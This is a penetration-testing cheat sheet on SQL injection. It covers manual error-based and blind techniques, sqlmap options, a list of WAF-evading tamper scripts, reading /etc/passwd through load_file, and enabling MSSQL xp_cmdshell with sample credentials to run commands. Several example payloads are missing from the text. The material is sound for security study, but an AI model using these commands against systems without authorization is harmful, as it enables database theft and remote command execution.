SQL Injection Methods

First method to try is manually throwing a ' into different fields and looking for an error

Second method to try for basic sqli is using nmap's nse scripting engine

nmap -sV --script=http-sql-injection <target>

Next, try some automation with burp suite

Open Burp Suite
Capture a request on a page you want to test
Move the equest to Intruder
Clear all positions but the ones that we want to test. Things like username, password, url
Load up payload with /usr/share/wordlists/wfuzz/injection/SQL.txt
Run it and pray

If we find something, we can try manual enumeration, data exfiltration, and maybe execute some shell commands

How does sql-injections work?

So we have a website that is written in php. We have a login functionality, where the code looks like this:

mysql_connect("localhost", "pelle", "mySecretPassowrd") or die(mysql_error());

mysql_select_db("myHomepage");

if ($_POST['uname'] != ""){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
    $result = mysql_query($query);
    $row = mysql_fetch_array($result);
}

So the user input is not filtered or sanitized in any way. Which means that what the users puts in in the login-form will be executed my mysql. So just like in xss-injections we just try to escape the input field to be able to execute sql-commands. So if we input the following into the user-field and password-field in the login:

The query will look like this:

Since they both become true the database will retrieve all users and we will be able to bypass the login.

If you know the username you could of course use that and then only inject on the password parameter.

SQLmap

Sqlmap is a great tool to perform sql-injections. Here is the manual. https://github.com/sqlmapproject/sqlmap/wiki/Usage

Using sqlmap with login-page

So you need to authenticate before you can access the vulnerable paramter.

You just cature the request using burp suite, and save the requiest in a file. Then your run

Since the cookie is saved in the reuqest sqlmap can do it.

Crawl a page to find sql-injections

Dumping a database or table

Here we are dumping the database Webapp and the table Users.

Use proxy

Proxy credencials

Login bypass

This is the most classic, standard first test:

Then you have:

Sql-injections manually

Sqlmap is good, but it is not very stealthy. And it can generate a lot of traffic. And also it is good to understand the vulnerability in the cote and not just run tools. So let's learn sql-injections the manual way.

The two main ways for perform a sql-injection: error based or blind.

Error-bases DB enumeration

If we manage to find an error-message after a broken sql-query, we can use that to try to map out the database structure.

For example, if we have a url that end with

Step 1 - Add the tick '

So first we should try to break the sql-syntaxt by adding a '. We should first ad a ' or a ".

If the page then returns a blank page or a page with a sql-error we know that the page it vulnerable.

Step 2 - Enumerate columns

So in order to enumerate the columns of a table we can use the order by

Order by 1 means sort by values of the first column from the result set. Order by 2 means sort by values of the second column from the result set.

So it is basically just a tool to order the data in a table. But we can use it to find out how many columns a table has. Because if we do order by 10 when there really only is 9 columns sql will throw an error. And we will know how many columns the table has.

So you just increase the number (or do a binary tree search if you want tot do it a bit faster) until you get an error, and you know how many columns the table has.

Step 3 - Find space to output db

Now we need to know which columns are being output on the webpage. It could be that not all data from the database is worthwhile to output, so maybe only column 1 and 3 are being outputted to the website.

To find out which columns are being outputted we can use the union select command. So we do the command like this

For all the columns that exists. This will return the numbers of the columns that are being outputted on the website. Take note of which these columns are.

Step 4 - Start enumerating the database

Now we can use that field to start outputing data. For example if columns number five has been visible in step 3, we can use that to output the data.

Here is a list of data we can retrieve from the database. Some of the syntaxes may difference depending on the database engine (mysql, mssql, postgres).

Blind sql-injection

We say that it is blind because we do not have access to the error log. This make the whole process a lot more complicated. But it is of course still possible to exploit.

Using sleep

Since we do not have access to the logs we do not know if our commands are syntaxically correct or not. To know if it is correct or not we can however use the sleep statement.

If it lods for four seconds exta we know that the database is processing our sleep() command.

Get shell from sql-injection

The good part about mysql from a hacker-perspective is that you can actaully use slq to write files to the system. The will let us write a backdoor to the system that we can use.

Load files

UNION SELECT 1, load_file(/etc/passwd) #

Write files

MSSQL - xp_cmdshell

sqsh

Next, we are using the sqsh tool in the kali machine. To check whether the. XP command shell option is enabled on the target machine or not. The syntax for using this tool is quite simple, first type sqsh with the -S and the Target IP address followed by -U with the username of the server admin and -P with the password for that particular user as shown in the image below.

sqsh -S 192.168.1.146 -U sa -P "Password@1"xp_cmdshell 'whoami';go

As we can observe from the image, the SQL Server had blocked access to the procedure command shell; therefore, we will enable it now. To enable the XP command shell on the target machine using SQSH we will be running a series of commands that would first show the advanced options available within the SP configuration option. Then we will choose to execute the XP command shell option and activate it. Finally, we will run the reconfigure command that will enable the XP commercial option on the target machine, as shown in the image given below.

EXEC sp_configure 'show advanced options', 1;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;goxp_cmdshell 'whoami';go

The activity can be verified by checking similarly to what we did with the GUI option as before.

mssqlclient.py

MS SQL consists of windows services having service accounts. Whenever an instance of SQLserver is installed, a set of Windows services is also installed with unique names. Below are the SQL Server account types:

  • Windows Accounts

  • SQL Server Login

  • DB Users

To use mssqlclient.py, we need to specify the username, domain, password, the target IP address, and the Port hosting the MSSQL service as shown in the image. here we can use the command enable_xp_cmdshell to enable command shell functionality on the target machine.

python3 mssqlclient.py WORKGROUP/sa:Password@[email protected] -port 1433enable_xp_cmdshell

Again, we can verify it similarly to what we did with the GUI approach and the sqsh approach. Here we can see that we were able to enable the XP command shell functionality with the help of mssqlclient, which is a part of the Impact toolkit.

Previously, mssqlclient.py is used to connect the database through database credentials having username SA. Now we are connecting with the database by windowโ€™s user login credential.

python3 mssqlclient.py ignite:'Password@123'@192.168.1.146 -windows-authenable_xp_cmdshell

Truncating Mysql Vulerability

Basically this happens when you don't validate the length of user input. Two things are needed for it to work:

  • Mysql does not make comparisons in binary mode. This means that "admin" and "admin " are the same.

  • If the username column in the database has a character-limit the rest of the characters are truncated, that is removed. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

With this information we can create a new admin-user and have our own password set to it. So if the max-length is 20 characters we can insert the following string

This means that the "removed" part will be removed/truncated/deleted. And the trailing spaces will be removed upon insert in the database. So it will effectively be inserted as "admin".

References

http://resources.infosecinstitute.com/sql-truncation-attack/ http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/

Basic arguments for SQLmap

Generic

Retrieve Information

Internal

DB data

Injection place

From Burp/ZAP capture

Capture the request and create a req.txt filesqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p idsqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers and other HTTP Methods

Indicate string when injection is successful

--string="string_showed_when_TRUE"

Eval

Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Read File

--file-read=/etc/passwd

Crawl a website with SQLmap and auto-exploit

Second Order Injection

Customizing Injection

Set a suffix

python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "

Prefix

python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "

Help finding boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Remember that you can create your own tamper in python and it's very simple. You can find a tamper example in the Second Order Injection page here.--tamper=name_of_the_tamper#In kali you can see all the tampers in /usr/share/sqlmap/tamper

Tamper

Description

apostrophemask.py

Replaces apostrophe character with its UTF-8 full width counterpart

apostrophenullencode.py

Replaces apostrophe character with its illegal double unicode counterpart

appendnullbyte.py

Appends encoded NULL byte character at the end of payload

base64encode.py

Base64 all characters in a given payload

between.py

Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'

bluecoat.py

Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator

chardoubleencode.py

Double url-encodes all characters in a given payload (not processing already encoded)

commalesslimit.py

Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'

commalessmid.py

Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'

concat2concatws.py

Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Url-encodes all characters in a given payload (not processing already encoded)

charunicodeencode.py

Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022"

charunicodeescape.py

Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022"

equaltolike.py

Replaces all occurances of operator equal ('=') with operator 'LIKE'

escapequotes.py

Slash escape quotes (' and ")

greatest.py

Replaces greater than operator ('>') with 'GREATEST' counterpart

halfversionedmorekeywords.py

Adds versioned MySQL comment before each keyword

ifnull2ifisnull.py

Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Embraces complete query with versioned comment

modsecurityzeroversioned.py

Embraces complete query with zero-versioned comment

multiplespaces.py

Adds multiple spaces around SQL keywords

nonrecursivereplacement.py

Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters

percentage.py

Adds a percentage sign ('%') infront of each character

overlongutf8.py

Converts all characters in a given payload (not processing already encoded)

randomcase.py

Replaces each keyword character with random case value

randomcomments.py

Add random comments to SQL keywords

securesphere.py

Appends special crafted string

sp_password.py

Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

space2comment.py

Replaces space character (' ') with comments

space2dash.py

Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')

space2hash.py

Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')

space2morehash.py

Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')

space2mssqlblank.py

Replaces space character (' ') with a random blank character from a valid set of alternate characters

space2mssqlhash.py

Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

space2mysqlblank.py

Replaces space character (' ') with a random blank character from a valid set of alternate characters

space2mysqldash.py

Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')

space2plus.py

Replaces space character (' ') with plus ('+')

space2randomblank.py

Replaces space character (' ') with a random blank character from a valid set of alternate characters

symboliclogical.py

Replaces AND and OR logical operators with their symbolic counterparts (&& and

unionalltounion.py

Replaces UNION ALL SELECT with UNION SELECT

unmagicquotes.py

Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)

uppercase.py

Replaces each keyword character with upper case value 'INSERT'

varnish.py

Append a HTTP header 'X-originating-IP'

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

versionedmorekeywords.py

Encloses each keyword with versioned MySQL comment

xforwardedfor.py

Append a fake HTTP header 'X-Forwarded-For'

Last updated